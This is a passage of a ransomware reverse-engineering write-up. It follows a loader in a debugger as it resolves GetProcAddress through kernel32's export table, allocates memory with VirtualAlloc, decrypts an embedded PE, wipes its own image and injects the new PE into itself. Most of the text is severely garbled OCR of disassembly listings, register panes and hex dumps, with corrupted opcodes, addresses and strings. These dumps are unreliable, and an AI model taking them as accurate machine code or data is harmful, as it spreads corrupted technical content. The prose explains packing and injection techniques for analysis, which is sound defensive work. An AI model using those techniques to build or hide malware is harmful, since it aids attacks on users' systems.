-. ~ E9 FB030000 Jmp 20684 W esp+8] 0019FAB4 "Tloc™
T [ e T iy " Tt - ob- oo o esp+C] 00000000
z 75F80000| kernel32. 75FE80000

Woump2  WWoumps  @oump4  Woumps @ watch1  eellocaks £ struct Um_op_\-a_; 0019FAG3| "GetProcAddr |

= 25 || 0019FABS
W F8 75(58 11 41 0018 92 00 00(1C 54 00 gggggggg
3E 00 00 00 00 00 00(00 00 00 ST | TSR TEOETIED)
¥ 00 00(00 00 OO OO (FO 23 00 0O0(0D2 06 00 00000003 :
w oon onlo? a0 on anlor oo oo onlon ooon el oo oo oooooooo 0 EESTRR | TR

The following image demonstrates the initial instructions of this subroutine.

- 55 push ebp =
. 8BEC mov ebp,esp | (TEE
- B83EC 1C sub esp,1C
- 8B45 08 mov gax,gwurd pcr[s;:[er]m—a] Ex ;g;ggggg SRR R ALY
¢ | 00030AC2 8945 F8 mov dword ptr ss:[ebp-sl,eax O o
. cmudoﬂcc 3B4D F8 mov ecx,dword pcr ss:[Jebp-8 ECH 1 SEAGE GetProcAddress
«| o003 894D F4 mov dword ptr ss:ffebp- c],ecx ERS  EIELEEY edp. 00418980
™ BESE F4 mov edx,dword EBEP  0O019FBL14
. BB4E F8 mov eax ,dword ESE  0013FAlC
. 0342 3C add eax,dword ESL 00000000
. 8945 FC mov dword ptr EDI 00404DBC <edp. EntryPoint>
- 8B4D FC mov ecx,dword
. 8B5S F3 mov edx,dword EIP 00020ACD
- 0351 78 add edx,dword B
- 8955 FO mov dword ptr :
. E][l(];[]%E« C745 EC 00000000 mov dword ptr ss:febp-14],0 EEL:GSPF EDDEEZSB
|l 00030AF1) - EB 09 jmp 30AFC OF D SFO0 DF O
- 8B45 EC mov eax,dword ptr ss:[lebp-14]
. 83C0 01 add eax,1 CERDER O 1
- 8945 EC mov dword ptr ss:|febp-14ff,eax
L e B4D FO mov ecx,dword ptr ss:[ebp-10( LastError 00000002 {ERROR_FILE_NOT_FOUND)
. 8379 18 00 cmp dword ptr ds:[ecx+18],0 ecx+18: "ualAlloc” LastsStatus CO00D00F (STATUS_NO_SUCH_FILE)
----¢|00030B03| ~ 74 57 je 3085C

*| ooosos0s 8B55 FO mov edx,dword ptr ss:[Jebp-10f GS DO2B  FS 0053
e | ooO30BOS 8B4z 20 mov eax,dword ptr ds:[edx+20] ES 002B DS 002B
®| ODO30E0E 0345 F8 add eax,dword ptr ss:[[ebp-s] €5 0023 55 00ZB
& |( DO030BOE 8B4D EC mov ecx,dword ptr ss:[ebp-14]
. E;gg;ggﬁ ggg;‘sgs o :gi:gng:g SE: g; Fax ei" 41 ST(0) 00000000000000000000 XB87r0 Empty 0.0000(
| 00030817 8955 E8 mov dword ptr ss:[Jebp-18],edx ST(1) 00000000000000000000 X87rl Empty 0.0000C
s ( oooz0814 sB4as ES mov eax,dword ptr ss:[ebp-1g] 5T(2) 00000000000000000000 x87r2 Empty O.0000(
s | 00030810 50 push eax T e As e ansssasasnssnss manes S
[ oooz081E 8B4D 0OC mov ecx,dword ptr ss:[Qebp+Cll [ebp+C]:EntryPoint Default (stdcall)
®| 00030821 51 push ecx ecx: "GetProcAddres: 1: [esp+4] 75F80000 kernel3z.75FES0000
«| ono30822 ES 39FFFFFF call 30A60 2: [esp+8] D019FA68 "GetProcAddress™
«| ooo3082 83C4 08 add esp,s v |3: [esp+C] 00D19FA84 “"1loc™
g S N 4: [esp+10] 00000000

C D003027D| return to 00030270 Trom 00D030ACO
ioump2  Wloump3  Woump4  Uoumps @ watchi  [eellocals 7 struct 0019FA20 || 75F80000| kernel3z2. 75F80000

0012FAz4 | 0019FAG8| "GetProcAddress™
Z5]58 11 31 00118 92 00 00|1C 54 OO 00|k o ooa Ul=E

BE 00 00 00 00 00 00|00 00 00 00|. 00000002
00 00 00|00 00 00 0O|FO 23 00 00|02 06 0O 00.
00 00 00(02 00 00 00|01 00 00 00|00 OO 00 00|, O 0| user32.75RE0DED
nf FF milon oo on onlon on oo onlan oF FE o locw ool b RS EEREE | TEEEEEEE

For anyone that has done enough malware reversing, or simply to anyone familiar with the
PE file format, it becomes clear that this function is being used to manually iterate through
kernel32.dll's exports in order to dynamically resolve, at runtime, the address of
GetProcAddress() so that it can be subsequently used. The giveaway is the fact that first, it
gets the address of kernel32.dll's PE header by adding kernel32.dll's base address (DOS
Header) with the value stored in the e_Ifanew field (at offset 0x3C). Then, it will obtain the
address of the Export Table by adding the Relative Virtual Address (RVA) located in pNtHdr-
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>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress (at
offset 0x78). After GetProcAddress() is resolved, it will then be used to dynamically resolve
the rest of the APIs whose names were constructed previously one byte at a time on the

stack.

. E8 43080000 call 30AC0 -
83C4 08 add esp,s | Hide FPU
00030280 8945 88 mov_dword
Monanzas 234 28 o0 TR EAX  75F80000 kerne132. 75F80000
00030287 ~ 75 05 Jne 30288 EBJQOn? E30N, .
. + E9 FG030000 jmp 3068. ECX 0019FATC "VirtualAlloc"
8DED 6BFFFFFF lea ecx, dword ptr ss:[febp-9s] EOX - (MIVTRES{ edp. 00418930
51 push ecx ecx: "virtualalloc™ EEP  0019FBl4
BBEE 0B mov edx,dword ptr ss:|lebp+2l ESE  0013FAZ0D
8BO2 mov eax,dword ptr ds:[edx] ESI 00000000
50 push eax EDI 00404DBC <edp. EntryPoint>
Eg— FF55 88 call dword ptr ss:[ebp-78]
. 29 8945 C4 mov dword ptr ss:|[[ebp-3CH, eax EIP 00030298
e 0D0D0302A1 8D4D BO lea ecx,dword ptr ss:lfebp-50]
o 00030244 51 push ecx ecx: "virtualAlloc™
. A 8B55 08 mov edx,dword ptr ss:[[ebp+sl ;ELSGSPF googgzoz
8B02 mov eax,dword ptr ds:[edx] OF 0 SE G DEO
. 30 50 push eax
o | 0003 02 FF55 88 €&l dword ptr ss:lebp-75 &F® TF o I a
o | DDO302AL 8945 34 mov dword ptr ss:[febp- fc] eax
S 3 mm ZBFFEFEF Tea ecx,dword prr ss:ebp 551 LastError 00000002 (ERROR_FILE_NOT_FOUND)
. push ecx Laststatus COO0000F (STATUS_NO_SUCH_FILE)
. 8555 08 mov edx,dword ptr ss:llebp+sl
8B02 mov eax,dword ptr ds:[edx] GS D02B  FS D053
50 push eax ES D02B DS 002B
. FF55 88 €&l dword ptr ss:[febp-78] Cs 0023 S5 0028
. 8945 90 mov dword ptr ss:[Jebp-7of,eax
: ﬁ‘m =« gsghegﬁ;dwrd ptr ss:ebp-64] e ST{0) 0000OODODO00DODOD00D xE87rDd Empty O.000000000000000000
» 8B55 08 mov edx,dword ptr ss:[Jebp+a] ST{1) 00000000000000000000 X87rl Empty 0.000000000000000000
8802 mov eax:dwnrd ptr ds: [edx] FI'(Z) 00000000000000000000 X87r2 Empty 0.000000000000000000
50 push eax
. FF55 33 €alll dword ptr ss:[febp-78 Default (stdcall)
o o0 2D. 894! mov dword ptr ss:[febp-74],eax 1: [esp] 75F80000 kernel32.75FB80000
e[ 00030204 SDSD BDFFFFFF lea ecx,dword ptr ss:|[[ebp-DOJ 2: [esp+4] 0019FA7C "virtualAlloc™
o[ 0o 2D, push ecx ecx:"virtualalloc” v | 3: [esp+8] 0019FAB4 "1loc™
. = mocs oo ==z- = Lio—t —o— ——-M-_.-m 5 [esp+C] 00000000
Woumpt  @yoump2  @oump3  @houmps  Woumps @ watch1i  Ix-llocals 4 Struct CEFELRPh [ Feo000
EEi ~ | 5222222 | 8500000
0019FASC (O SF F9 7t (00 00 00 00|00 Q0 00 00(00 00 00 00 samrmaaas UE)J.EF-?\EU 00000002
Q019FAAC (00 00 00 00(56 €9 72 74|75 61 6C 46 seaa Vi rtua'IFree. 0019FA3. 7SBGODED| user32.75B60DED
0019FABC |00 00 00 00(01 OO 00 00|56 €9 72 7 61 6C 50| ........ virtualp U[uﬂjF_‘J 00000003 :
DO19FACC |72 6F 74 65|63 74 DO 77|01 00 00 00|00 0D 00 DO|Fotect Ckgcccroc CRET e

Then, VirtualAlloc() is called, but this time the memory access permissions do not include
execution, allowing only reads and writes (PAGE_READWRITE).

GA 04
68 00300000

push 3
push 3000

A | Hide FPU

8B45 08 mov eax,dword ptr s
8B48 10 mov ecx,dword ptr ds: E;; gg;:gzgg edp. 00418380
51 push ecx
A 00 push o ECX DO000BEDD
FF55 C4 call dword ptr ss:[ebp 3c] EDX 00730000
8945 DO mov dword ptr ss:|ebp-30],eax EEE  0O01SFB14
837D DO 00 cmp dword ptr ss:[ebp-z0§,0 ESE  0D0139FAl8
v 75 05 jne 30387 ESI 00000000
~ E9 FDOZ0000 Jmp 30684 EDI 00404DBC <edp.EntryPoint>
€785 28FFFFFF 000000( mov dword ptr ss:[febp-Ds},
€785 2CFFFFFF 0000004 mov dword ptr ss:[febp-D4], [ebp-D4]:"PE" EIP 00030376
v EB 1l jmp 30388
8B95 2BFFFFFF mov edx,dword ptr ss:[Jebp-Ds] EFLAGS 00000206
83C2 01 add edx, 1 ZE O PE 1 AF O
8995 28FFFFFF mov dword ptr ss:[febp-DE[,edx OF 0 SF O DF 0
8B85 2CFFFFFF mov eax,dword ptr ss:|[febp-D4ff [ebp-D4]:"PE"
83C0 01 add eax,1 CFO TFO IF1
8985 2CFFFFFF mov dword ptr ss:[febp-| D4] eax [ebp-D4]:"PE"
8B4D mov ecx,dword ptr" 55 ] LastError 00000002 (ERROR_FILE_NOT_FOUND)
8B95 Z28FFFFFF mov edx,dword ptr s LastStatus COO00DDOF (STATUS_NO_SUCH_FILE)
3351 08 cmp edx,dword ptr ds:[ecx+8]
000303C7 . Jas 30407 GS 002B  FS 0053
000303C9 SBSS ZCFFFFFF mov eax,dword ptr ss:|[febp-D4ff [ebp-D4]:"PE" ES 002B DS 002B
xor edx,edx €S 0023 S5 002B
B-J D]DDDDDD mov ecx,3
‘é;‘;teedx =i 5T(0) 00000000000000000000 X87r0 Empty 0.000000000000000000
- oF ine 303ER ST(1) 00000000000000000000 X87r1 EMpLy 0.000000000000000000
000303DC 28FEFEFE Mov edx,dword ptr ss:febp-Dal ST(2) 00000000000000000000 X87r2 EMPLy 0.000000000000000000
000303E2 2 02 add edx,z ST MASASASSffRAfARAfnna nSTeS Smssoon sssossssnonanonons
28FFFFFF mov dword ptr ss:[ebp-Dsll,edx DE"EU‘Y:(SWG")
08 mov eax,dword ptr s esp] 00000000
04 mov ecx,dword ptr d 2: esp+4] 0000BEOOD
mov edx,dword ptr s 3: [esp+8] 00003000
e 4: [esp+C] 00000004
Woump1 | @loump2  @pump3  Woumps YWD @watch1  bellocas BEDO)
P p ump ump 5 R Watch 1 Locals Struct 0019FALC | DODOBEDO
0019FAZ0| 00003000
Adaress | Hex = = — AL ™ | 0012424 0ooooon4 | PAGE_READWRITE
0019FASC |20 EF F9 75 i i _uuguu. Juup | uu O013FAZE | OD19FAS4 | "110c™
0019FAAC| 00 00 00 00|56 €9 7 - ... VirtualFree. El(]léF:;C 00000000
T e fy b8 el 2 4 22 L 8 ) ocpmoqoc I 00197430 00000002

Eventually, a relatively long series of operations are performed, resulting in writes to the
newly allocated memory region, where a full PE is decrypted at runtime into it. It is easily
recognizable through the MS-DOS MZ header. This particular point is the best time to dump
the memory region into disk, as the PE is in its unmapped (raw) format, i.e., how it is stored
on disk, versus its mapped (virtual) format, i.e., how it needs to be loaded into memory by
the loader for actual program execution.
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Address | Hex

O1FBOOOO [ 400 54
01FBOOL10( BS 0O
0O1FBOO20( 00 OO0
01FBOO3I0( 00 00
01FBOO40( OE 1F
O1FBOOS0| 62 73
0O1FBOOGD | 74 20
0D1FBOO7O | 60 &F
O1FBOOSO (52 56
O1FBOOS20( 44 5F
01FBOODAD( 16 37
0Ol1FBOOBO | BD SE
0O1FBOOCO (52 &9
O1FBOODO (50 45
0O1FBOOED | OO OO0
01FBOOFO( OO 50
01FBOL1O0( OO BO
01FBO110
0O1FBO120
01FBO130
0O1FBO140
01FBO150

£

80
oo
oo
00
BA
20
62
&4
AT
CA
C8
36
63
oo
oo
oo
0o

00
00
o0
00
0OE

65
65
D3
Bl

B0
65
o0
oo
o0
00

Qo 00 Ol 00

Q0 00 0l 00
00 00 10 00
00 00 00 00

F4 8A 00 00

03 00 OO0 00|04 0D OO0 OOD(FF FF
o0 00 00 00|40 00 OO0 00|00 00
o0 00 OO0 00|00 0D OO0 00|00 00

o0 00 00 00|00 0O 00 0O
o0 B4
70|7 77
20 72 75 6E|20
ZE 0D 0D
16 37
15 37
807
17 37
16 37
4C 01

7 C9 80(8D SE

DO 00
0% CD|21 B8 01 4C|CD 21
63 6E 20|44 4F
0A(24 00 00 00|00 OO0
C9 80|16 37 C9 80|16 37
C9 B80|1F 4F 5A BO|19 37
CC 81|12 37
C9 80|8D S5E CB 81|17 37
C9 80|00 0O 00 0O|00 00
06 00)|AD B89 BB SE|00 0O

EQO 0O 02 0O1|0B 01 OE 10|00 BE
o0 00 OO0 O0O|FO 2D OO0 00|00 10

00 00 40 00|00 10 00 00|00 02
00 00 00 00|D3 00 01 00|00 00

o0 04 00 00|00
00 10 00 00|00
10 00 00 00|00
8C 00 00 00|00

00 00 00(02 00
00 10 0O0(00 10
00 00 00(00 00
EQ 00 0O0(EOQ 01

00
00
00
00
54
6E
53
00
c9
c9
(o]
co
00
00
00
00
00
00
40
00
00
00

BRI TR
is program canno
t be run in DOS

RVg0.7E.-I8-- 78

By dumping the PE to disk, it can be further analyzed through the very same basic static
analysis steps in order to get a general idea of what this new binary might have (or do). As
we can see, it contains an interesting .keys section and its Time Date Stamp (compilation
date) is set to Monday, 06.04.2020 19:57:20 UTC. This date is particularly interesting as it's
just a few days prior to the actual initial reports of the attack. Please note, however, that such
date can be easily modified.

v [d edp_00430000.exe
DOS Header
@ DOos stub
v | NTHeaders
Signature
File Header
Optional Header
Section Headers
v Sections
v B text
=p EP = 21F0
o rdata
-& .data
keys
o rsrc
o5 reloc

X
=

= 4

P B

8300
8310
8az0
8830
8840
8850
8860
8370
8880
8830

012 3 45 6 7 8 % ABCDEF
24 SB 42 4E €0 7C 27 58 €C 75 4F 71 5B &C €5 2D
4F 73 €2 7€ 3C 3C 30 58 72 54 37 22 4E 4E 33 70
2E 28 4D 50 43 €5 €7 58 6C SA SE 53 54 5R €A 31
€A 71 74 32 3E 6E €D 20 4F 23 7C SF 25 7A €F €8
00 00 00 00 00 00 00 00 0% ED SF 04 C3 &0 9B &5
00 CD 47 30 52 3B 2B 17 1F 38 2A 90 14 BB 3C 54
15 SF 43 3A 34 €6 DD FD 7D 1B F7 EE 40 58 S5F 7E
37 23 8C 14 BC 1C 18 25 FD 33 1C 32 70 24 70 C3
2B €C EC 7A SE CB DD 21 00 00 00 00 00 00 00 00
12 A2 37 €A AF 10 BC 10 08 C5 21 06 45 3A 56 1R

Disasm: |

keys General  DOS Hr Rich Hdr File Hdr Optional Hdr Section Hdrs B Imports 9 Resources I BaseReloc, B Debug

Offset
D4
D6
D8
DC
E0
E4

v E6

Mame Walue

Meaning

Machine 14c Intel 336

Sections Count 6 6

Time Date Stamp 5e8b8%a0 Monday, 06.04.2020 19:57:20 UTC

Ptr to Symbol Table 0 0

Mum. of Symbols 0 0

Size of OptionalHeader el 224

Characteristics 102
2 File is executable (i.e. no unresolved externel references).
100 32 bit word machine.

Proceeding execution, the SizeOflmage (the size of the image, in bytes, including all
headers) of the newly decrypted PE is then obtained, via pNtHdr-
>OptionalHeader.SizeOflmage, as seen by the use of offset 0x3C to get the address of the
PE header, and then by adding to that result 0x50. The SizeOflmage will be used as the
dwSize argument of the VirtualAlloc() call that follows, with IpAddress being the base
address of the currently running process' binary image and memory access permissions set
to PAGE_EXECUTE_READWRITE.
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®| 00030485 83C4 08 add esp, 38 ~| Hide FPU

00D0304BE B85CO test eax,eax
000304BA| ~ 75 05 jne 304c1 [—
000304BC ~ E9 C3010000 jmp 30684 Egi g;;ggg‘gg FE
000304C1 &8 00B00000 push 8000
0002304C6 6A 00 push 0 ECX 00010000
|| 000304CS 8B55 CO mov edx,dword ptr ss:[febp-40] EDX 00400000 edp. 00400000
® | DOD3D4CE 52 push edx EQP  OO19FB14
o [ oD0304CC FF55 BC €& dword ptr ss: ESE  0O13FAls
® || 000304CF BB45 DD mov eax,dword ptr ESI 00000000
e | 00030402 BB4D DO mov ecx,dword ptr EDI 00404DBC <edp. EntryPoint>
e (| 000304D5 0348 3C add ecx,dword ptr
e | 000304D5 598D G4FFFFFF mov dword ptr ss: EIP 000304F2
@ || 000304DE 8D55 EO Tea edx,dword ptr
e 000304EL 52 push edx
¢ oooso4E2 64 40 push 40 ;ELSGSPF gooﬂgzgz
e 000304E4 BB85 G4FFFFFF mov eax,dword ptr ss:|febp-aCf] OF 0 SF O DF O
o 000304EA 8B48 50 mov ecx,dword ptr ds:[eax+50]
|| 0o0204ED 51 push ecx _ CF 0 TFO IF1
e (| 0O0304EE 8B5S DS mov edx,dword ptr ss:|[febp-zs]
. 5z push edx LastError 00000002 (ERROR_FILE_NOT_FOUND)
FF55 94 call dword ptr ss:[ebp-&C] LastStatus COOD000F (STATUS_NO_SUCH_FILE)
85C0 Test eax,eax
000304F7| ~ 75 05 jne 204FE G5 002B FS5 0053
000304F9 ~ E9 86010000 jmp 306584 ES 0O02E D5 002B
000304FE 8B45 D8 mov eax,dword ptr_ss:[ebp-zsi) €5 0023 55 00ZB
00030501 8945 AC mov dword ptr ss:|lebp-54f,eax
oobsospd| | C7ss ACFREFFF 000000 ':'I.'r“"; g‘;g;g ptr ss:febp-£4],0 ST(0) 00000000000000000000 X87r0 Empty O.000000000000000000
00030510 8BSD 1CFFFFFF mov ecx,dword ptr ss:[febp-£4]
00030516 83C1 01 add ecx,l1 -
00020519 898D 1CFFFFFF mov dword ptr ss:[febp-£4],ecx Default (stdcall)
0003051F 8B95 G4FFFFFF mov edx,dword :[febp-acl) 1: [esp] 00400000 edp.00400000
00030525 B8B85 1CFFFFFF mov eax,dword ptr s ebp-E4]) 2: [esp+4] 00010000
00030528 3B42 50 cmp eax,dword ptr ds:[edx+50] v | 3: [esp+s] ooooooso
an:n:'n: .. 33 nc S22 3ncaE 5 3t [espic] DD19FAF4
_
oumpl  Yoump2 W Dump3  Yoump4 B4 Dump S @ watch1  [x= Locals 2 st FooTorALC rggoloooo eggégfnlma =
Address [Hex || 00L3FAZO || 00000040| PAGE EXECUTE_READWRITE

0012FAZ4 | OOLIFAF4
0013FAZE || 0019FAS4| "1T1oc™
O012FAZC I 00000000

01FBO00O | 4D° 5A 90 00|03 00 00 00|04 00 00 OO|FF FF OO0 OO
01FBO010| B8 00 00 0O0(00 00 OO0 0O(40 00 00 00|00 OO OO OO0
01FBO020| 00 0O 00 0O0(00 00 OO0 0O(00 00 00 00|00 OO OO0 OO0 B . a3

01FB0O030| 00 0O 00 00|00 00O 00 00|00 OO0 00 00|DO OO0 OO0 OO c cclecc ggigg;;g gggggggg
01FBOO40|0OE 1F BA OE|00 B4 09 CD|21 BB 01 4C|CD 21 54 68|..°.. .I! .LI!Th o019Fa3s || oooo1sEA
01FBOO50| 62 73 20 70|72 6F &7 72|61 6D 20 63|61 6E 6E 6F|is progr am canno DUJ.QF;SC 00009218
01FBOO60| 74 20 62 65|20 72 75 6E |20 69 GE 20|44 4F 53 20|t be run in DOS ooilara4o || oooos7As
01lFBOO7TO| 60 6F 64 65 OD19FA44 (1 74726956
O1FBOOBO|52 5& A7 D3 0019FA458|| 516C6175
01FBOO30| 44 5F CA B1 DOD19FA4C | 79726575
01FBOOAD| 16 37 C85 80 O013FASD (| 00000000
0O1FBOOBO| 8D SE 36 80 OOL13FAS4 | 6D726554
OLFBOOCO |52 63 63 68 OD19FASE (| 74616E69
01FBOODO| 50 45 00 OO OD19FASC | 72685465
01FBOOEC| 00 0O 0O OO O019FAGD | 00646165
O1FBOOFO |00 50 00 00 OD19FAG4 (| 007A3048
01FBO100| 00 80 0O 0O 0019FAGS || 50746547
O1FBOL110| 02 00 Q1 00

O1FBOL20| 00 00 01 00 2??3253
01FBO130( 00 00 10 00 00007373

01FBO140| 00 00 00 0O
A1ERMENn| E4 RA AN AN

< > <

01FBOODO| "PE"

After the VirtualAlloc() call, the main binary's image (of the currently running process) is
overwritten with 0's, in a loop that ends after executing SizeOflmage (of the new decrypted
PE) times.
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¢|000304CE 6A 00 push 0O -
& || DOD30D4CE 8B55 CO mov edx,dword ptr ss:[[ebp-40] || GTEE D
e 00O304CE 5z push edx oy
¢ || no0z04CC FF55 8C €aM dword ptr ss:[febp-T4 Ex gggggg;g v
® || DOO304CF BB45 DO mov eax,dword ptr ss:|febp-30] " s "
|| 00030402 3R4D DD mov ecx.dword ptr =<+ [ebp-201 ECX 00400055 "ogram cannot be run in DOS mode.\rryn$
|| 00030405 0348 3C add ecx,dword ptr ds:[eax+3C] EDX  01FBOODO PE
¢ | 00020408 898D G4FFFFFF mov dword ptr ss:[lebp-9cll,ecx EEF  0ODLIFEL4
¢ | oooz04pE 8D55 EO lea edx,dword ptr ss:[Jebp-zof ESP  DO19FA28 &"1loc”
e | D0OD304EL 52 push edx ESI 00000000
e[ 00O304E2 GA 40 push 40 EDI 00404DBC <edp. EntryPoint>
e 00O304E4 B8BS85 &4FFFFFF mov eax,dword ptr ss:|[Jebp-3Cf)
® | DOD304EA BB43 50 mov ecx,dword ptr ds:[eax+50] EIP 00030539
& || DODZ04ED 51 push ecx
e (| 0DO304EE 8B5S DS mov edx,dword ptr ss:|[lebp-zs] 2
® | DDD304F1 52 push edx EELSGSPF iﬂoig ga
e || DDD304F2 FF55 324 E&W dword ptr ss:|febp-s&Cf] OF 0O SF O DF O
|| oo0204FS 85C0 test eax,eax
----# | 000304F7| ~ 75 05 jne 304FE CF @ TF® P i
. ® | DDD304F2 ~ E9 86010000 jmp 30684
e | oo0Z04FE 8B45 DS mov eax,dword ptr ss:[[ebp-zsf LastError 00000002 (ERROR_FILE_NOT_FOUND)
00030501 8945 AC mov dword ptr ss:|[Jebp-54jf,eax LastStatus COOO0000F (STATUS_NO_SUCH_FILE)
@ | DDD30504 C785 1CFFFFFF 0000000 mov dword ptr ss:|lebp-eE40l,0
® | DDO3050E ~ EB OF jmp 3051F G5 0D02B F5 0053
® | 00030510 BBBD 1CFFFFFF mov ecx,dword ptr ss:[febp-g4] ES D0D2BE DS 002B
¢ ooozos16 83C1 0L add ecx,1 €S 0023 S5 00ZB
e 00030519 898D 1CFFFFFF mov dgor‘g ptg ss:[eprEg],eci(
® | DDD305L1F BB95 G&4FFFFFF mov edx,dword ptr ss:ffebp-39C
=||555eneas R Sl mov eax. dword ptr as:|jebp-c4il ST(0) 00000000000000000000 X87r0 Empty 0.000000000000000000
|| ooo30528 3B42 50 cmp eax,dword ptr ds:[edx+50] = xd moty O
----# (| 000305 2E ~[ 73 OE jas 3053E
¢ ooozo530 BE4D AC mov ecx,dword ptr ss:|[febp-54]) Default (stdcall)
¢ 00030533 038D 1CFFFFFF add ecx,dword ptr ss:|[febp-£4] 1: [esp+4] 00000000
> C601 00 mov_byte ptr ds:[ecx],0 2: [esp+8] 0DODOOOSS
0003053C ~-EB D2 Jmp 30510 v | 2: [esp+c] 00000000
- znn_nr_: @par £AEEEEEE mar adv duned nre oo Bahnoocl N 4: [esp+10] DODDISEA

o ——

@4 Dump 1 @4 Dump 2 @4 Dump 3 @44 Dump 4 @ Dump 5 @ watch 1 Ix=] Locals o stilick ODL9FAZC ggég;gg; Toc

O0L19FAZ0| 00000055
M‘ Hex KSR L 0019FAZ 4| 00000000
00400000| 00 (OO 00 00|00 00 00 00|00 00 00 00|00 00 00 00 0019EAZS | DDDDLSEA
00400010| 00 00 00 00|00 00 00 00|00 00 00 00|00 00 00 00 O019EAZC | 00009218
00400020| 00 00 00 00|00 0O OO0 00|00 00 OO0 00|00 00 00 00 0019EA40 | DODD57AS
00400030| 00 00 00 00|00 0O OO0 00|00 0O OO0 00|00 00 00 00 0019FA44 | 74726956
00400040| 00 00 00 00|00 00 00O OO|00 00 OO0 00|00 00 00 00 0019EA43 | 516CE175
00400050| 00 0O 00 00|00 6F &7 72|61 6D 20 63|61 6E 6E GF ogram canno O019EA4C | 79726575
00400060( 74 20 62 65|20 72 75 6E|20 62 GE 20|44 4F 53 20|t be run in DOS 0019EAS0 | 00000000
00400070| 60 6F 64 65|2E 0D 0D 0A O0L19FAS 4| ED726554
00400080|CD 52 D6 47|89 33 BB 14 0019FASS | 74616E69
00400020| 61 2C B3 14|88 33 BS 14 O019EASC | 72685465
004000A0| 0A 2ZF B6 14|9A 33 BB 14 O019FAS0 | 00646165
0D4000B0| B0 4B 2B 14|BA 33 BB 14 O019FAG4 | DO7A2048
004000C0| 61 2C AE 14|88 33 B3 14

OD19FAGS | 50746547
00400000| 00 0O 00 00|00 00 00 00 A
004000ED| 50 45 00 00 O019FAEGC | 41636F72

4C 01 04 00 o
004000F0| 00 00 00 00|EG 00 OE 01 Q013FAT0| 65726464

00400100| 00 10 01 00(00 00 00 0O ORI EAZY |Com0Z 27| —
0019FA73 | D1FBOODO | "PE
00400110| 00 EO OO0 00|00 00 40 00 OD19FATC | 74726956
00400120( 04 00 00 00|00 00 00 0O e
D012FAS0( 416C6175
0040013000 EQ 01 00(00 10 00 00 aTaci e lsTeren e
0040014000 60 10 00|00 10 00 00 het
ANANNIEN] N NN AN nnd 10 nn nne nn W O013FASE| 00000000

£ > £

Then, the new PE's headers are copied into its place, as well as it loads its sections into the
correct locations, not caring about their memory permissions. At this point, we can already
tell that the ransomware performs self process injection.
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0O0030A20 43 push ebp

r "

| D00z0421 8BEC mov ebp,esp || (B (D
® | 00030423 51 push ecx 2
®| 00030AZ4 C745 FC 00000000 mov dword ptr ss:|febp-4f),0 % gézgggga
® | D0030AZB ~ EB 0% imp 30A3g i o ECX 00000002
| D0030AZD 8B45 FC mov eax, dwor tr ss:|fjebp-4
e| 00020420 83C0 01 add eax. 1 r febp-41 EDX 00400002 edp. 00400002
®|( 00030433 8945 FC mov dword ptr ss:[Jebp-4],eax EBP  ODL19FAl4
® | 00D30AZE 8B4D FC mov ecx,dword ptr ss:|[lebp-4[ ESP O019FALD
® | 00030439 3B4D 10 cmp ecx,dword ptr ss:|Jebp+10(] ESI 00000000

r----@| 00030A3C| ~ 73 12 jas 30450 EDI  00404DEC <edp. EntryPoint>

| ®| ODD30DAZE 8B5S 08 mov edx,dword ptr ss:|[ebp+s)

0 ®| 00030A41 0355 FC add edx,dword ptr ss:[ebp-4] EIP 00030A44

! ®| 00D0D30A44 8B45 0OC mg\ér eax,gworg ptr ss:Eegmc%

1 . 0345 FC add eax,dword ptr ss:[jsbp-4

EE— » ||EE A 8ADE mov cl,byte ptr ds:[eax] ;ELSGSPF 30022232
| ® ([ 00030A4C 880A mov byte ptr ds:[edx],cl OF 0 SE 0 DF O
| +——e| 00030A4E| ~ EB DD jmp 3DAZD

L2 | ooo30As0 BBES mov esp,ebp CF o TFO IF1
® | D0O030A52 5D op eb
® | D0030A53 c3 Eeg P LastError 00000002 (ERROR_FILE_NOT_FOUND)
| D0O030A54 cC int3 Laststatus COO00000F (STATUS_NO_SUCH_FILE)
® ([ D0OD30A5S cC int3
®|( 00030A56 cC intcs GS 002B FS 0053
®| O0030AST GG int3 ES 002B [5 00ZB
(| 00030458 cc int3 CS 0023 55 0028
® | D0030A59 cC int3
® ([ DDO30ASA cC int3
=||555enias G e ST(0) 00000000000000000000 X87r0 Empty 0O.0000000C
® |( 00030A5D cC intcs -
®| D00Z0DASE ccC int3 Default (stdcally
e (| oo030ASF cc int3 1: [espt4] OD19FB14
® (| D0030AG0 55 push ebp 2: [esp+8] 00030555
®|( 00030A61 8BEC oy ebp, esp v |[3: [esp+C] 00400000 "MZ™
® || nnnznacs o3cr ne cuh acn o :

= o J4. [esp+10] 01FEBO00O

z 00000002
Pbumpl Ppumpz @oump3 @Uoump4 B Dump s @ watch1 vl Locals & silc¥ Fo015FA14 | DD19FB14

0019FALE [0D030555| return to 00030555 from DO030A2
Address | Hex S A | bo19raic || ooso0000| "Mz
00400000 | 4D [GA| OO 00|00 0O 00 00]00 OO0 00 00|00 00 00 00 |ME. .s.snene. .- Tl o —snoy
00400010 | 00 00 00 00|00 OO 00 00|00 OO 00 00|00 OO 00 00 ... same |||
00400020| 00 00 OO 00|00 0O 00 00|00 OO 00 00|00 00 00 0O Do13cazs | oororaas| ~170c"
00400030| 00 00 00 00|00 0O 00 00|00 00 00 00|00 00 00 0O T el lcooornm
00400040| 00 00 DO 00|00 0O 00 00|00 00 0O 00|00 OO0 0O 0O TR | l5s5 10000
00400050| 00 00 DO 00|00 0O 00 00|00 00 00 00|00 00 0O 0O T leasoacns
00400060| 00 00 DO 00|00 0O 00 00|00 00 00 00|00 OO 0O 0O Tt Ileasoroen
00400070| 00 00 OO 00|00 DO 00 00|00 OO 00 00|00 00 0O 0O Tl locoas s
00400080 | 00 00 OO 00|00 OO 00 00|00 OO 00 00|00 OO 00 OO0 same |||
00400090| 00 00 00 00|00 0O 00 00|00 00 00 00|00 00 00 0O Tk e
00400040 | 00 00 OO 00|00 0O 00 00|00 OO 00 00|00 00 0O 0O ||| RS
00400080| 00 00 DO 00|00 0O 00 00|00 00 0O 00|00 OO 0O 0O e | | s
004000C0| 00 00 DO 00|00 0O 00 00|00 00 00 00|00 OO0 0O 0O | |
00400000| 00 00 DO 00|00 0O 00 00|00 00 00 00|00 00 0O 0O | | oo
004000E0| 00 00 OO 00|00 DO 00 00|00 00 00 00|00 00 0O 00 T ety
D04000F0 | 00 00 OO 00|00 OO 00 00|00 OO 00 00|00 00 0O OO0 Tl e e
00400100| 00 00 00 00|00 0O 00 00|00 00 00 00|00 00 00 0O |||
